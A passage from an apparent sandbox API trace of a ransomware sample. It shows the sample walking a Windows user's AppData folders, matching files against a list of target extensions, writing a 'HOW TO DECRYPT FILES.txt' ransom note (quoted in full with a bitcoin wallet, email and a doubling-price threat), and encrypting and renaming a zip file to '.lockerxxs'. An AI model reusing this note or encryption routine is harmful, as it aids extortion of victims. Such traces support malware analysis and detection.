ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0086.880] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.880] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.880] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.880] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.880] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0086.880] lstrcmpA (lpString1=".", lpString2="Acrobat") returned -1 [0086.880] lstrcmpA (lpString1="..", lpString2="Acrobat") returned -1 [0086.880] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*.*") returned="*.*" [0086.880] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0086.881] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned 60 [0086.881] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.881] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.881] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.881] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.881] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.881] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0086.882] lstrcmpA (lpString1=".", lpString2="10.0") returned -1 [0086.882] lstrcmpA (lpString1="..", lpString2="10.0") returned -1 [0086.882] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*.*") returned="*.*" [0086.882] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0086.882] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned 65 [0086.882] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0086.884] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.884] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.884] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.884] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.884] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0086.884] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.884] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rdrmessage.zip") returned -1 [0086.884] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rdrmessage.zip") returned -1 [0086.885] lstrcmpiA (lpString1="", lpString2="rdrmessage.zip") returned -1 [0086.885] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*.*") returned="*.*" [0086.885] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0086.885] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="" [0086.885] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt" [0086.885] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\how to decrypt files.txt")) returned 0xffffffff [0086.885] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.887] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.887] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.888] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.888] CloseHandle (hObject=0x98) returned 1 [0086.888] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpString2="rdrmessage.zip" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.ems") returned 0 [0086.889] lstrlenA (lpString="*.ems") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.db") returned 0 [0086.889] lstrlenA (lpString="*.db") returned 4 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.dbf") returned 0 [0086.889] lstrlenA (lpString="*.dbf") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.myox") returned 0 [0086.889] lstrlenA (lpString="*.myox") returned 6 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.myo") returned 0 [0086.889] lstrlenA (lpString="*.myo") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qbw") returned 0 [0086.889] lstrlenA (lpString="*.qbw") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qbb") returned 0 [0086.889] lstrlenA (lpString="*.qbb") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qbm") returned 0 [0086.889] lstrlenA (lpString="*.qbm") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qbo") returned 0 [0086.889] lstrlenA (lpString="*.qbo") returned 5 [0086.889] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qbx") returned 0 [0086.889] lstrlenA (lpString="*.qbx") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qba") returned 0 [0086.890] lstrlenA (lpString="*.qba") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qby") returned 0 [0086.890] lstrlenA (lpString="*.qby") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qbj") returned 0 [0086.890] lstrlenA (lpString="*.qbj") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.ofx") returned 0 [0086.890] lstrlenA (lpString="*.ofx") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.qif") returned 0 [0086.890] lstrlenA (lpString="*.qif") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.mye") returned 0 [0086.890] lstrlenA (lpString="*.mye") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.mbox") returned 0 [0086.890] lstrlenA (lpString="*.mbox") returned 6 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.eml") returned 0 [0086.890] lstrlenA (lpString="*.eml") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.pst") returned 0 [0086.890] lstrlenA (lpString="*.pst") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.ost") returned 0 [0086.890] lstrlenA (lpString="*.ost") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.idx") returned 0 [0086.890] lstrlenA (lpString="*.idx") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.dbx") returned 0 [0086.890] lstrlenA (lpString="*.dbx") returned 5 [0086.890] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.sql") returned 0 [0086.891] lstrlenA (lpString="*.sql") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.mdb") returned 0 [0086.891] lstrlenA (lpString="*.mdb") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.fdb") returned 0 [0086.891] lstrlenA (lpString="*.fdb") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.wab") returned 0 [0086.891] lstrlenA (lpString="*.wab") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.dat") returned 0 [0086.891] lstrlenA (lpString="*.dat") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.txt") returned 0 [0086.891] lstrlenA (lpString="*.txt") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.jpeg") returned 0 [0086.891] lstrlenA (lpString="*.jpeg") returned 6 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.jpg") returned 0 [0086.891] lstrlenA (lpString="*.jpg") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.png") returned 0 [0086.891] lstrlenA (lpString="*.png") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.php") returned 0 [0086.891] lstrlenA (lpString="*.php") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.cs") returned 0 [0086.891] lstrlenA (lpString="*.cs") returned 4 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.cpp") returned 0 [0086.891] lstrlenA (lpString="*.cpp") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.rar") returned 0 [0086.891] lstrlenA (lpString="*.rar") returned 5 [0086.891] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", pszSpec="*.zip") returned 1 [0086.892] lstrlenA (lpString="*.zip") returned 5 [0086.892] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" [0086.892] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" [0086.892] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip." [0086.892] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.lockerxxs" [0086.892] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.894] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa5ff [0086.894] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd9b6a040, dwHighDateTime=0x1d2dda0), lpLastAccessTime=0x407536*(dwLowDateTime=0xd9b6a040, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0xde963ca0, dwHighDateTime=0x1d2e625)) returned 1 [0086.894] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.894] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xa5d9, lpOverlapped=0x0) returned 1 [0086.896] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="rdrmessage.zip" [0086.897] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.897] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xa5d9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xa5d9, lpOverlapped=0x0) returned 1 [0086.897] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.897] CloseHandle (hObject=0x98) returned 1 [0086.897] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.lockerxxs")) returned 1 [0086.898] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x3c00033f, dwReserved1=0x4e00c4, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0086.899] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.899] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReaderMessages") returned -1 [0086.899] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReaderMessages") returned -1 [0086.899] lstrcmpiA (lpString1="", lpString2="ReaderMessages") returned -1 [0086.899] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="rdrmessage.zip" [0086.899] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0086.899] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="" [0086.899] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HOW TO DECRYPT FILES.txt" [0086.899] GetFileAttributesA 